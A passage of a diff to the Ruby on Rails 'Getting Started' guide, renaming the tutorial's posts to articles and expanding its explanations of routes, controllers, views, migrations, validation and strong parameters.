/posts/:id/edit(.:format) posts#edit - post GET /posts/:id(.:format) posts#show - PATCH /posts/:id(.:format) posts#update - PUT /posts/:id(.:format) posts#update - DELETE /posts/:id(.:format) posts#destroy - root / welcome#index + Prefix Verb URI Pattern Controller#Action + articles GET /articles(.:format) articles#index + POST /articles(.:format) articles#create + new_article GET /articles/new(.:format) articles#new +edit_article GET /articles/:id/edit(.:format) articles#edit + article GET /articles/:id(.:format) articles#show + PATCH /articles/:id(.:format) articles#update + PUT /articles/:id(.:format) articles#update + DELETE /articles/:id(.:format) articles#destroy + root GET / welcome#index ``` -In the next section, you will add the ability to create new posts in your application and be able to view them. This is the "C" and the "R" from CRUD: creation and reading. The form for doing this will look like this: +In the next section, you will add the ability to create new articles in your +application and be able to view them. This is the "C" and the "R" from CRUD: +creation and reading. The form for doing this will look like this: - + -It will look a little basic for now, but that's ok. We'll look at improving the styling for it afterwards. +It will look a little basic for now, but that's ok. We'll look at improving the +styling for it afterwards. ### Laying down the ground work -The first thing that you are going to need to create a new post within the application is a place to do that. A great place for that would be at `/posts/new`. With the route already defined, requests can now be made to `/posts/new` in the application. Navigate to <http://localhost:3000/posts/new> and you'll see a routing error: +Firstly, you need a place within the application to create a new article. A +great place for that would be at `/articles/new`. With the route already +defined, requests can now be made to `/articles/new` in the application. +Navigate to <http://localhost:3000/articles/new> and you'll see a routing +error: - + -This error occurs because the route needs to have a controller defined in order to serve the request. The solution to this particular problem is simple: create a controller called `PostsController`. You can do this by running this command: +This error occurs because the route needs to have a controller defined in order +to serve the request. The solution to this particular problem is simple: create +a controller called `ArticlesController`. You can do this by running this +command: ```bash -$ rails g controller posts +$ rails g controller articles ``` -If you open up the newly generated `app/controllers/posts_controller.rb` you'll see a fairly empty controller: +If you open up the newly generated `app/controllers/articles_controller.rb` +you'll see a fairly empty controller: ```ruby -class PostsController < ApplicationController +class ArticlesController < ApplicationController end ``` -A controller is simply a class that is defined to inherit from `ApplicationController`. It's inside this class that you'll define methods that will become the actions for this controller. These actions will perform CRUD operations on the posts within our system. +A controller is simply a class that is defined to inherit from +`ApplicationController`. +It's inside this class that you'll define methods that will become the actions +for this controller. These actions will perform CRUD operations on the articles +within our system. + +NOTE: There are `public`, `private` and `protected` methods in Ruby, +but only `public` methods can be actions for controllers. +For more details check out [Programming Ruby](http://www.ruby-doc.org/docs/ProgrammingRuby/). -If you refresh <http://localhost:3000/posts/new> now, you'll get a new error: +If you refresh <http://localhost:3000/articles/new> now, you'll get a new error: - + -This error indicates that Rails cannot find the `new` action inside the `PostsController` that you just generated. This is because when controllers are generated in Rails they are empty by default, unless you tell it you wanted actions during the generation process. +This error indicates that Rails cannot find the `new` action inside the +`ArticlesController` that you just generated. This is because when controllers +are generated in Rails they are empty by default, unless you tell it +your wanted actions during the generation process. -To manually define an action inside a controller, all you need to do is to define a new method inside the controller. Open `app/controllers/posts_controller.rb` and inside the `PostsController` class, define a `new` method like this: +To manually define an action inside a controller, all you need to do is to +define a new method inside the controller. Open +`app/controllers/articles_controller.rb` and inside the `ArticlesController` +class, define a `new` method so that the controller now looks like this: ```ruby -def new +class ArticlesController < ApplicationController + def new + end end ``` -With the `new` method defined in `PostsController`, if you refresh <http://localhost:3000/posts/new> you'll see another error: +With the `new` method defined in `ArticlesController`, if you refresh +<http://localhost:3000/articles/new> you'll see another error: - +![Template is missing for articles/new] +(images/getting_started/template_is_missing_articles_new.png) -You're getting this error now because Rails expects plain actions like this one to have views associated with them to display their information. With no view available, Rails errors out. +You're getting this error now because Rails expects plain actions like this one +to have views associated with them to display their information. With no view +available, Rails errors out. -In the above image, the bottom line has been truncated. Let's see what the full thing looks like: +In the above image, the bottom line has been truncated. Let's see what the full +thing looks like: <blockquote> -Missing template posts/new, application/new with {locale:[:en], formats:[:html], handlers:[:erb, :builder, :coffee]}. Searched in: * "/path/to/blog/app/views" +Missing template articles/new, application/new with {locale:[:en], formats:[:html], handlers:[:erb, :builder, :coffee]}. Searched in: * "/path/to/blog/app/views" </blockquote> -That's quite a lot of text! Let's quickly go through and understand what each part of it does. - -The first part identifies what template is missing. In this case, it's the `posts/new` template. Rails will first look for this template. If not found, then it will attempt to load a template called `application/new`. It looks for one here because the `PostsController` inherits from `ApplicationController`. - -The next part of the message contains a hash. The `:locale` key in this hash simply indicates what spoken language template should be retrieved. By default, this is the English — or "en" — template. The next key, `:formats` specifies the format of template to be served in response. The default format is `:html`, and so Rails is looking for an HTML template. The final key, `:handlers`, is telling us what _template handlers_ could be used to render our template. `:erb` is most commonly used for HTML templates, `:builder` is used for XML templates, and `:coffee` uses CoffeeScript to build JavaScript templates. - -The final part of this message tells us where Rails has looked for the templates. Templates within a basic Rails application like this are kept in a single location, but in more complex applications it could be many different paths. - -The simplest template that would work in this case would be one located at `app/views/posts/new.html.erb`. The extension of this file name is key: the first extension is the _format_ of the template, and the second extension is the _handler_ that will be used. Rails is attempting to find a template called `posts/new` within `app/views` for the application. The format for this template can only be `html` and the handler must be one of `erb`, `builder` or `coffee`. Because you want to create a new HTML form, you will be using the `ERB` language. Therefore the file should be called `posts/new.html.erb` and needs to be located inside the `app/views` directory of the application. - -Go ahead now and create a new file at `app/views/posts/new.html.erb` and write this content in it: +That's quite a lot of text! Let's quickly go through and understand what each +part of it does. + +The first part identifies what template is missing. In this case, it's the +`articles/new` template. Rails will first look for this template. If not found, +then it will attempt to load a template called `application/new`. It looks for +one here because the `ArticlesController` inherits from `ApplicationController`. + +The next part of the message contains a hash. The `:locale` key in this hash +simply indicates what spoken language template should be retrieved. By default, +this is the English - or "en" - template. The next key, `:formats` specifies the +format of template to be served in response. The default format is `:html`, and +so Rails is looking for an HTML template. The final key, `:handlers`, is telling +us what _template handlers_ could be used to render our template. `:erb` is most +commonly used for HTML templates, `:builder` is used for XML templates, and +`:coffee` uses CoffeeScript to build JavaScript templates. + +The final part of this message tells us where Rails has looked for the templates. +Templates within a basic Rails application like this are kept in a single +location, but in more complex applications it could be many different paths. + +The simplest template that would work in this case would be one located at +`app/views/articles/new.html.erb`. The extension of this file name is key: the +first extension is the _format_ of the template, and the second extension is the +_handler_ that will be used. Rails is attempting to find a template called +`articles/new` within `app/views` for the application. The format for this +template can only be `html` and the handler must be one of `erb`, `builder` or +`coffee`. Because you want to create a new HTML form, you will be using the `ERB` +language. Therefore the file should be called `articles/new.html.erb` and needs +to be located inside the `app/views` directory of the application. + +Go ahead now and create a new file at `app/views/articles/new.html.erb` and +write this content in it: ```html -<h1>New Post</h1> +<h1>New Article</h1> ``` -When you refresh <http://localhost:3000/posts/new> you'll now see that the page has a title. The route, controller, action and view are now working harmoniously! It's time to create the form for a new post. +When you refresh <http://localhost:3000/articles/new> you'll now see that the +page has a title. The route, controller, action and view are now working +harmoniously! It's time to create the form for a new article. ### The first form To create a form within this template, you will use a <em>form builder</em>. The primary form builder for Rails is provided by a helper -method called `form_for`. To use this method, add this code into `app/views/posts/new.html.erb`: +method called `form_for`. To use this method, add this code into +`app/views/articles/new.html.erb`: ```html+erb -<%= form_for :post do |f| %> +<%= form_for :article do |f| %> <p> <%= f.label :title %><br> <%= f.text_field :title %> @@ -374,42 +523,76 @@ method called `form_for`. To use this method, add this code into `app/views/post <% end %> ``` -If you refresh the page now, you'll see the exact same form as in the example. Building forms in Rails is really just that easy! +If you refresh the page now, you'll see the exact same form as in the example. +Building forms in Rails is really just that easy! When you call `form_for`, you pass it an identifying object for this -form. In this case, it's the symbol `:post`. This tells the `form_for` +form. In this case, it's the symbol `:article`. This tells the `form_for` helper what this form is for. Inside the block for this method, the -`FormBuilder` object — represented by `f` — is used to build two labels and two text fields, one each for the title and text of a post. Finally, a call to `submit` on the `f` object will create a submit button for the form. +`FormBuilder` object - represented by `f` - is used to build two labels and two +text fields, one each for the title and text of an article. Finally, a call to +`submit` on the `f` object will create a submit button for the form. -There's one problem with this form though. If you inspect the HTML that is generated, by viewing the source of the page, you will see that the `action` attribute for the form is pointing at `/posts/new`. This is a problem because this route goes to the very page that you're on right at the moment, and that route should only be used to display the form for a new post. +There's one problem with this form though. If you inspect the HTML that is +generated, by viewing the source of the page, you will see that the `action` +attribute for the form is pointing at `/articles/new`. This is a problem because +this route goes to the very page that you're on right at the moment, and that +route should only be used to display the form for a new article. The form needs to use a different URL in order to go somewhere else. This can be done quite simply with the `:url` option of `form_for`. Typically in Rails, the action that is used for new form submissions like this is called "create", and so the form should be pointed to that action. -Edit the `form_for` line inside `app/views/posts/new.html.erb` to look like this: +Edit the `form_for` line inside `app/views/articles/new.html.erb` to look like +this: ```html+erb -<%= form_for :post, url: posts_path do |f| %> +<%= form_for :article, url: articles_path do |f| %> ``` -In this example, the `posts_path` helper is passed to the `:url` option. What Rails will do with this is that it will point the form to the `create` action of the current controller, the `PostsController`, and will send a `POST` request to that route. +In this example, the `articles_path` helper is passed to the `:url` option. +To see what Rails will do with this, we look back at the output of +`rake routes`: + +```bash +$ rake routes + Prefix Verb URI Pattern Controller#Action + articles GET /articles(.:format) articles#index + POST /articles(.:format) articles#create + new_article GET /articles/new(.:format) articles#new +edit_article GET /articles/:id/edit(.:format) articles#edit + article GET /articles/:id(.:format) articles#show + PATCH /articles/:id(.:format) articles#update + PUT /articles/:id(.:format) articles#update + DELETE /articles/:id(.:format) articles#destroy + root GET / welcome#index +``` -By using the `post` method rather than the `get` method, Rails will define a route that will only respond to POST methods. The POST method is the typical method used by forms all over the web. +The `articles_path` helper tells Rails to point the form to the URI Pattern +associated with the `articles` prefix; and the form will (by default) send a +`POST` request to that route. This is associated with the `create` action of +the current controller, the `ArticlesController`. -With the form and its associated route defined, you will be able to fill in the form and then click the submit button to begin the process of creating a new post, so go ahead and do that. When you submit the form, you should see a familiar error: +With the form and its associated route defined, you will be able to fill in the +form and then click the submit button to begin the process of creating a new +article, so go ahead and do that. When you submit the form, you should see a +familiar error: - +![Unknown action create for ArticlesController] +(images/getting_started/unknown_action_create_for_articles.png) -You now need to create the `create` action within the `PostsController` for this to work. +You now need to create the `create` action within the `ArticlesController` for +this to work. -### Creating posts +### Creating articles -To make the "Unknown action" go away, you can define a `create` action within the `PostsController` class in `app/controllers/posts_controller.rb`, underneath the `new` action: +To make the "Unknown action" go away, you can define a `create` action within +the `ArticlesController` class in `app/controllers/articles_controller.rb`, +underneath the `new` action, as shown: ```ruby -class PostsController < ApplicationController +class ArticlesController < ApplicationController def new end @@ -418,70 +601,80 @@ class PostsController < ApplicationController end ``` -If you re-submit the form now, you'll see another familiar error: a template is missing. That's ok, we can ignore that for now. What the `create` action should be doing is saving our new post to a database. +If you re-submit the form now, you'll see another familiar error: a template is +missing. That's ok, we can ignore that for now. What the `create` action should +be doing is saving our new article to the database. -When a form is submitted, the fields of the form are sent to Rails as _parameters_. These parameters can then be referenced inside the controller actions, typically to perform a particular task. To see what these parameters look like, change the `create` action to this: +When a form is submitted, the fields of the form are sent to Rails as +_parameters_. These parameters can then be referenced inside the controller +actions, typically to perform a particular task. To see what these parameters +look like, change the `create` action to this: ```ruby def create - render text: params[:post].inspect + render plain: params[:article].inspect end ``` -The `render` method here is taking a very simple hash with a key of `text` and value of `params[:post].inspect`. The `params` method is the object which represents the parameters (or fields) coming in from the form. The `params` method returns an `ActiveSupport::HashWithIndifferentAccess` object, which allows you to access the keys of the hash using either strings or symbols. In this situation, the only parameters that matter are the ones from the form. +The `render` method here is taking a very simple hash with a key of `plain` and +value of `params[:article].inspect`. The `params` method is the object which +represents the parameters (or fields) coming in from the form. The `params` +method returns an `ActiveSupport::HashWithIndifferentAccess` object, which +allows you to access the keys of the hash using either strings or symbols. In +this situation, the only parameters that matter are the ones from the form. -If you re-submit the form one more time you'll now no longer get the missing template error. Instead, you'll see something that looks like the following: +If you re-submit the form one more time you'll now no longer get the missing +template error. Instead, you'll see something that looks like the following: ```ruby -{"title"=>"First post!", "text"=>"This is my first post."} +{"title"=>"First article!", "text"=>"This is my first article."} ``` -This action is now displaying the parameters for the post that are coming in from the form. However, this isn't really all that helpful. Yes, you can see the parameters but nothing in particular is being done with them. +This action is now displaying the parameters for the article that are coming in +from the form. However, this isn't really all that helpful. Yes, you can see the +parameters but nothing in particular is being done with them. -### Creating the Post model +### Creating the Article model -Models in Rails use a singular name, and their corresponding database tables use -a plural name. Rails provides a generator for creating models, which -most Rails developers tend to use when creating new models. -To create the new model, run this command in your terminal: +Models in Rails use a singular name, and their corresponding database tables +use a plural name. Rails provides a generator for creating models, which most +Rails developers tend to use when creating new models. To create the new model, +run this command in your terminal: ```bash -$ rails generate model Post title:string text:text +$ rails generate model Article title:string text:text ``` -With that command we told Rails that we want a `Post` model, together +With that command we told Rails that we want a `Article` model, together with a _title_ attribute of type string, and a _text_ attribute -of type text. Those attributes are automatically added to the `posts` -table in the database and mapped to the `Post` model. +of type text. Those attributes are automatically added to the `articles` +table in the database and mapped to the `Article` model. -Rails responded by creating a bunch of files. For -now, we're only interested in `app/models/post.rb` and -`db/migrate/20120419084633_create_posts.rb` (your name could be a bit -different). The latter is responsible -for creating the database structure, which is what we'll look at next. +Rails responded by creating a bunch of files. For now, we're only interested +in `app/models/article.rb` and `db/migrate/20140120191729_create_articles.rb` +(your name could be a bit different). The latter is responsible for creating +the database structure, which is what we'll look at next. -TIP: Active Record is smart enough to automatically map column names to -model attributes, which means you don't have to declare attributes -inside Rails models, as that will be done automatically by Active -Record. +TIP: Active Record is smart enough to automatically map column names to model +attributes, which means you don't have to declare attributes inside Rails +models, as that will be done automatically by Active Record. ### Running a Migration -As we've just seen, `rails generate model` created a _database -migration_ file inside the `db/migrate` directory. -Migrations are Ruby classes that are designed to make it simple to -create and modify database tables. Rails uses rake commands to run migrations, -and it's possible to undo a migration after it's been applied to your database. -Migration filenames include a timestamp to ensure that they're processed in the -order that they were created. +As we've just seen, `rails generate model` created a _database migration_ file +inside the `db/migrate` directory. Migrations are Ruby classes that are +designed to make it simple to create and modify database tables. Rails uses +rake commands to run migrations, and it's possible to undo a migration after +it's been applied to your database. Migration filenames include a timestamp to +ensure that they're processed in the order that they were created. -If you look in the `db/migrate/20120419084633_create_posts.rb` file (remember, +If you look in the `db/migrate/20140120191729_create_articles.rb` file (remember, yours will have a slightly different name), here's what you'll find: ```ruby -class CreatePosts < ActiveRecord::Migration +class CreateArticles < ActiveRecord::Migration def change - create_table :posts do |t| + create_table :articles do |t| t.string :title t.text :text @@ -491,15 +684,15 @@ class CreatePosts < ActiveRecord::Migration end ``` -The above migration creates a method named `change` which will be called when you -run this migration. The action defined in this method is also reversible, which -means Rails knows how to reverse the change made by this migration, in case you -want to reverse it later. When you run this migration it will create a -`posts` table with one string column and a text column. It also creates two -timestamp fields to allow Rails to track post creation and update times. +The above migration creates a method named `change` which will be called when +you run this migration. The action defined in this method is also reversible, +which means Rails knows how to reverse the change made by this migration, +in case you want to reverse it later. When you run this migration it will create +an `articles` table with one string column and a text column. It also creates +two timestamp fields to allow Rails to track article creation and update times. -TIP: For more information about migrations, refer to [Rails Database -Migrations](migrations.html). +TIP: For more information about migrations, refer to [Rails Database Migrations] +(migrations.html). At this point, you can use a rake command to run the migration: @@ -507,14 +700,14 @@ At this point, you can use a rake command to run the migration: $ rake db:migrate ``` -Rails will execute this migration command and tell you it created the Posts +Rails will execute this migration command and tell you it created the Articles table. ```bash -== CreatePosts: migrating ==================================================== --- create_table(:posts) +== CreateArticles: migrating ================================================== +-- create_table(:articles) -> 0.0019s -== CreatePosts: migrated (0.0020s) =========================================== +== CreateArticles: migrated (0.0020s) ========================================= ``` NOTE. Because you're working in the development environment by default, this @@ -525,128 +718,182 @@ invoking the command: `rake db:migrate RAILS_ENV=production`. ### Saving data in the controller -Back in `posts_controller`, we need to change the `create` action -to use the new `Post` model to save the data in the database. Open `app/controllers/posts_controller.rb` -and change the `create` action to look like this: +Back in `ArticlesController`, we need to change the `create` action +to use the new `Article` model to save the data in the database. +Open `app/controllers/articles_controller.rb` and change the `create` action to +look like this: ```ruby def create - @post = Post.new(post_params) - - @post.save - redirect_to @post -end + @article = Article.new(params[:article]) -private - def post_params - params.require(:post).permit(:title, :text) - end + @article.save + redirect_to @article +end ``` Here's what's going on: every Rails model can be initialized with its respective attributes, which are automatically mapped to the respective database columns. In the first line we do just that (remember that -`post_params` contains the attributes we're interested in). Then, -`@post.save` is responsible for saving the model in the database. -Finally, we redirect the user to the `show` action, -which we'll define later. +`params[:article]` contains the attributes we're interested in). Then, +`@article.save` is responsible for saving the model in the database. Finally, +we redirect the user to the `show` action, which we'll define later. -TIP: Note that `def post_params` is private. This new approach prevents an attacker from setting the model's attributes by manipulating the hash passed to the model. For more information, refer to [this blog post about Strong Parameters](http://weblog.rubyonrails.org/2012/3/21/strong-parameters/). +TIP: As we'll see later, `@article.save` returns a boolean indicating whether +the article was saved or not. -TIP: As we'll see later, `@post.save` returns a boolean indicating -whether the model was saved or not. +If you now go to <http://localhost:3000/articles/new> you'll *almost* be able +to create an article. Try it! You should get an error that looks like this: -### Showing Posts +![Forbidden attributes for new article] +(images/getting_started/forbidden_attributes_for_new_article.png) -If you submit the form again now, Rails will complain about not finding -the `show` action. That's not very useful though, so let's add the -`show` action before proceeding. +Rails has several security features that help you write secure applications, +and you're running into one of them now. This one is called `[strong_parameters] +(http://guides.rubyonrails.org/action_controller_overview.html#strong-parameters)`, +which requires us to tell Rails exactly which parameters are allowed into our +controller actions. + +Why do you have to bother? The ability to grab and automatically assign all +controller parameters to your model in one shot makes the programmer's job +easier, but this convenience also allows malicious use. What if a request to +the server was crafted to look like a new article form submit but also included +extra fields with values that violated your applications integrity? They would +be 'mass assigned' into your model and then into the database along with the +good stuff - potentially breaking your application or worse. + +We have to whitelist our controller parameters to prevent wrongful mass +assignment. In this case, we want to both allow and require the `title` and +`text` parameters for valid use of `create`. The syntax for this introduces +`require` and `permit`. The change will involve one line in the `create` action: ```ruby -post GET /posts/:id(.:format) posts#show + @article = Article.new(params.require(:article).permit(:title, :text)) +``` + +This is often factored out into its own method so it can be reused by multiple +actions in the same controller, for example `create` and `update`. Above and +beyond mass assignment issues, the method is often made `private` to make sure +it can't be called outside its intended context. Here is the result: + +```ruby +def create + @article = Article.new(article_params) + + @article.save + redirect_to @article +end + +private + def article_params + params.require(:article).permit(:title, :text) + end +``` + +TIP: For more information, refer to the reference above and +[this blog article about Strong Parameters] +(http://weblog.rubyonrails.org/2012/3/21/strong-parameters/). + +### Showing Articles + +If you submit the form again now, Rails will complain about not finding the +`show` action. That's not very useful though, so let's add the `show` action +before proceeding. + +As we have seen in the output of `rake routes`, the route for `show` action is +as follows: + +``` +article GET /articles/:id(.:format) articles#show ``` The special syntax `:id` tells rails that this route expects an `:id` -parameter, which in our case will be the id of the post. +parameter, which in our case will be the id of the article. As we did before, we need to add the `show` action in -`app/controllers/posts_controller.rb` and its respective view. +`app/controllers/articles_controller.rb` and its respective view. + +NOTE: A frequent practice is to place the standard CRUD actions in each +controller in the following order: `index`, `show`, `new`, `edit`, `create`, `update` +and `destroy`. You may use any order you choose, but keep in mind that these +are public methods; as mentioned earlier in this guide, they must be placed +before any private or protected method in the controller in order to work. + +Given that, let's add the `show` action, as follows: ```ruby -def show - @post = Post.find(params[:id]) -end +class ArticlesController < ApplicationController + def show + @article = Article.find(params[:id]) + end + + def new + end + + # snipped for brevity ``` -A couple of things to note. We use `Post.find` to find the post we're -interested in. We also use an instance variable (prefixed by `@`) to -hold a reference to the post object. We do this because Rails will pass all instance +A couple of things to note. We use `Article.find` to find the article we're +interested in, passing in `params[:id]` to get the `:id` parameter from the +request. We also use an instance variable (prefixed by `@`) to hold a +reference to the article object. We do this because Rails will pass all instance variables to the view. -Now, create a new file `app/views/posts/show.html.erb` with the following +Now, create a new file `app/views/articles/show.html.erb` with the following content: ```html+erb <p> <strong>Title:</strong> - <%= @post.title %> + <%= @article.title %> </p> <p> <strong>Text:</strong> - <%= @post.text %> + <%= @article.text %> </p> ``` -If you now go to -<http://localhost:3000/posts/new> you'll *almost* be able to create a post. Try -it! You should get an error that looks like this: +With this change, you should finally be able to create new articles. +Visit <http://localhost:3000/articles/new> and give it a try! - + -Rails has several security features that help you write secure applications, -and you're running into one of them now. This one is called -'strong_parameters,' which requires us to tell Rails exactly which parameters -we want to accept in our controllers. In this case, we want to allow the -'title' and 'text' parameters, so change your `create` controller action to -look like this: +### Listing all articles -``` - def create - @post = Post.new(params[:post].permit(:title, :text)) +We still need a way to list all our articles, so let's do that. +The route for this as per output of `rake routes` is: - @post.save - redirect_to @post - end +``` +articles GET /articles(.:format) articles#index ``` -See the `permit`? It allows us to accept both `title` and `text` in this -action. With this change, you should finally be able to create new `Post`s. -Visit <http://localhost:3000/posts/new> and give it a try! - - - -### Listing all posts - -We still need a way to list all our posts, so let's do that. -We'll use a specific route from `config/routes.rb`: +Add the corresponding `index` action for that route inside the +`ArticlesController` in the `app/controllers/articles_controller.rb` file. +When we write an `index` action, the usual practice is to place it as the +first method in the controller. Let's do it: ```ruby -posts GET /posts(.:format) posts#index -``` +class ArticlesController < ApplicationController + def index + @articles = Article.all + end -And an action for that route inside the `PostsController` in the `app/controllers/posts_controller.rb` file: + def show + @article = Article.find(params[:id]) + end -```ruby -def index - @posts = Post.all -end + def new + end + + # snipped for brevity ``` -And then finally a view for this action, located at `app/views/posts/index.html.erb`: +And then finally, add the view for this action, located at +`app/views/articles/index.html.erb`: ```html+erb -<h1>Listing posts</h1> +<h1>Listing articles</h1> <table> <tr> @@ -654,155 +901,174 @@ And then finally a view for this action, located at `app/views/posts/index.html. <th>Text</th> </tr> - <% @posts.each do |post| %> + <% @articles.each do |article| %> <tr> - <td><%= post.title %></td> - <td><%= post.text %></td> + <td><%= article.title %></td> + <td><%= article.text %></td> </tr> <% end %> </table> ``` -Now if you go to `http://localhost:3000/posts` you will see a list of all the posts that you have created. +Now if you go to `http://localhost:3000/articles` you will see a list of all the +articles that you have created. ### Adding links -You can now create, show, and list posts. Now let's add some links to +You can now create, show, and list articles. Now let's add some links to navigate through pages. Open `app/views/welcome/index.html.erb` and modify it as follows: ```html+erb <h1>Hello, Rails!</h1> -<%= link_to "My Blog", controller: "posts" %> +<%= link_to 'My Blog', controller: 'articles' %> ``` The `link_to` method is one of Rails' built-in view helpers. It creates a hyperlink based on text to display and where to go - in this case, to the path -for posts. +for articles. -Let's add links to the other views as well, starting with adding this "New Post" link to `app/views/posts/index.html.erb`, placing it above the `<table>` tag: +Let's add links to the other views as well, starting with adding this +"New Article" link to `app/views/articles/index.html.erb`, placing it above the +`<table>` tag: ```erb -<%= link_to 'New post', new_post_path %> +<%= link_to 'New article', new_article_path %> ``` -This link will allow you to bring up the form that lets you create a new post. You should also add a link to this template — `app/views/posts/new.html.erb` — to go back to the `index` action. Do this by adding this underneath the form in this template: +This link will allow you to bring up the form that lets you create a new article. + +Now, add another link in `app/views/articles/new.html.erb`, underneath the +form, to go back to the `index` action: ```erb -<%= form_for :post do |f| %> +<%= form_for :article, url: articles_path do |f| %> ... <% end %> -<%= link_to 'Back', posts_path %> +<%= link_to 'Back', articles_path %> ``` -Finally, add another link to the `app/views/posts/show.html.erb` template to go back to the `index` action as well, so that people who are viewing a single post can go back and view the whole list again: +Finally, add a link to the `app/views/articles/show.html.erb` template to +go back to the `index` action as well, so that people who are viewing a single +article can go back and view the whole list again: ```html+erb <p> <strong>Title:</strong> - <%= @post.title %> + <%= @article.title %> </p> <p> <strong>Text:</strong> - <%= @post.text %> + <%= @article.text %> </p> -<%= link_to 'Back', posts_path %> +<%= link_to 'Back', articles_path %> ``` -TIP: If you want to link to an action in the same controller, you don't -need to specify the `:controller` option, as Rails will use the current -controller by default. +TIP: If you want to link to an action in the same controller, you don't need to +specify the `:controller` option, as Rails will use the current controller by +default. TIP: In development mode (which is what you're working in by default), Rails reloads your application with every browser request, so there's no need to stop and restart the web server when a change is made. -### Allowing the update of fields +### Adding Some Validation -The model file, `app/models/post.rb` is about as simple as it can get: +The model file, `app/models/article.rb` is about as simple as it can get: ```ruby -class Post < ActiveRecord::Base +class Article < ActiveRecord::Base end ``` -There isn't much to this file - but note that the `Post` class inherits from +There isn't much to this file - but note that the `Article` class inherits from `ActiveRecord::Base`. Active Record supplies a great deal of functionality to your Rails models for free, including basic database CRUD (Create, Read, Update, Destroy) operations, data validation, as well as sophisticated search support and the ability to relate multiple models to one another. -### Adding Some Validation - Rails includes methods to help you validate the data that you send to models. -Open the `app/models/post.rb` file and edit it: +Open the `app/models/article.rb` file and edit it: ```ruby -class Post < ActiveRecord::Base +class Article < ActiveRecord::Base validates :title, presence: true, length: { minimum: 5 } end ``` -These changes will ensure that all posts have a title that is at least five +These changes will ensure that all articles have a title that is at least five characters long. Rails can validate a variety of conditions in a model, including the presence or uniqueness of columns, their format, and the existence of associated objects. Validations are covered in detail in [Active Record Validations](active_record_validations.html) -With the validation now in place, when you call `@post.save` on an invalid -post, it will return `false`. If you open `app/controllers/posts_controller.rb` -again, you'll notice that we don't check the result of calling `@post.save` -inside the `create` action. If `@post.save` fails in this situation, we need to -show the form back to the user. To do this, change the `new` and `create` -actions inside `app/controllers/posts_controller.rb` to these: +With the validation now in place, when you call `@article.save` on an invalid +article, it will return `false`. If you open +`app/controllers/articles_controller.rb` again, you'll notice that we don't +check the result of calling `@article.save` inside the `create` action. +If `@article.save` fails in this situation, we need to show the form back to the +user. To do this, change the `new` and `create` actions inside +`app/controllers/articles_controller.rb` to these: ```ruby def new - @post = Post.new + @article = Article.new end def create - @post = Post.new(params[:post].permit(:title, :text)) + @article = Article.new(article_params) - if @post.save - redirect_to @post + if @article.save + redirect_to @article else render 'new' end end + +private + def article_params + params.require(:article).permit(:title, :text) + end ``` -The `new` action is now creating a new instance variable called `@post`, and +The `new` action is now creating a new instance variable called `@article`, and you'll see why that is in just a few moments. -Notice that inside the `create` action we use `render` instead of `redirect_to` when `save` -returns `false`. The `render` method is used so that the `@post` object is passed back to the `new` template when it is rendered. This rendering is done within the same request as the form submission, whereas the `redirect_to` will tell the browser to issue another request. +Notice that inside the `create` action we use `render` instead of `redirect_to` +when `save` returns `false`. The `render` method is used so that the `@article` +object is passed back to the `new` template when it is rendered. This rendering +is done within the same request as the form submission, whereas the +`redirect_to` will tell the browser to issue another request. If you reload -<http://localhost:3000/posts/new> and -try to save a post without a title, Rails will send you back to the +<http://localhost:3000/articles/new> and +try to save an article without a title, Rails will send you back to the form, but that's not very useful. You need to tell the user that something went wrong. To do that, you'll modify -`app/views/posts/new.html.erb` to check for error messages: +`app/views/articles/new.html.erb` to check for error messages: ```html+erb -<%= form_for :post, url: posts_path do |f| %> - <% if @post.errors.any? %> - <div id="error_explanation"> - <h2><%= pluralize(@post.errors.count, "error") %> prohibited - this post from being saved:</h2> - <ul> - <% @post.errors.full_messages.each do |msg| %> - <li><%= msg %></li> - <% end %> - </ul> - </div> +<%= form_for :article, url: articles_path do |f| %> + + <% if @article.errors.any? %> + <div id="error_explanation"> + <h2> + <%= pluralize(@article.errors.count, "error") %> prohibited + this article from being saved: + </h2> + <ul> + <% @article.errors.full_messages.each do |msg| %> + <li><%= msg %></li> + <% end %> + </ul> + </div> <% end %> + <p> <%= f.label :title %><br> <%= f.text_field :title %> @@ -816,62 +1082,85 @@ something went wrong. To do that, you'll modify <p> <%= f.submit %> </p> + <% end %> -<%= link_to 'Back', posts_path %> +<%= link_to 'Back', articles_path %> ``` A few things are going on. We check if there are any errors with -`@post.errors.any?`, and in that case we show a list of all -errors with `@post.errors.full_messages`. +`@article.errors.any?`, and in that case we show a list of all +errors with `@article.errors.full_messages`. `pluralize` is a rails helper that takes a number and a string as its -arguments. If the number is greater than one, the string will be automatically pluralized. +arguments. If the number is greater than one, the string will be automatically +pluralized. -The reason why we added `@post = Post.new` in `posts_controller` is that -otherwise `@post` would be `nil` in our view, and calling -`@post.errors.any?` would throw an error. +The reason why we added `@article = Article.new` in the `ArticlesController` is +that otherwise `@article` would be `nil` in our view, and calling +`@article.errors.any?` would throw an error. TIP: Rails automatically wraps fields that contain an error with a div with class `field_with_errors`. You can define a css rule to make them standout. -Now you'll get a nice error message when saving a post without title when you -attempt to do just that on the new post form [(http://localhost:3000/posts/new)](http://localhost:3000/posts/new). +Now you'll get a nice error message when saving an article without title when +you attempt to do just that on the new article form +[(http://localhost:3000/articles/new)](http://localhost:3000/articles/new).  -### Updating Posts +### Updating Articles -We've covered the "CR" part of CRUD. Now let's focus on the "U" part, updating posts. +We've covered the "CR" part of CRUD. Now let's focus on the "U" part, updating +articles. -The first step we'll take is adding an `edit` action to `posts_controller`. +The first step we'll take is adding an `edit` action to the `ArticlesController`, +generally between the `new` and `create` actions, as shown: ```ruby +def new + @article = Article.new +end + def edit - @post = Post.find(params[:id]) + @article = Article.find(params[:id]) +end + +def create + @article = Article.new(article_params) + + if @article.save + redirect_to @article + else + render 'new' + end end ``` The view will contain a form similar to the one we used when creating -new posts. Create a file called `app/views/posts/edit.html.erb` and make +new articles. Create a file called `app/views/articles/edit.html.erb` and make it look as follows: ```html+erb -<h1>Editing post</h1> - -<%= form_for :post, url: post_path(@post.id), method: :patch do |f| %> - <% if @post.errors.any? %> - <div id="error_explanation"> - <h2><%= pluralize(@post.errors.count, "error") %> prohibited - this post from being saved:</h2> - <ul> - <% @post.errors.full_messages.each do |msg| %> - <li><%= msg %></li> - <% end %> - </ul> - </div> +<h1>Editing article</h1> + +<%= form_for :article, url: article_path(@article), method: :patch do |f| %> + + <% if @article.errors.any? %> + <div id="error_explanation"> + <h2> + <%= pluralize(@article.errors.count, "error") %> prohibited + this article from being saved: + </h2> + <ul> + <% @article.errors.full_messages.each do |msg| %> + <li><%= msg %></li> + <% end %> + </ul> + </div> <% end %> + <p> <%= f.label :title %><br> <%= f.text_field :title %> @@ -885,9 +1174,10 @@ it look as follows: 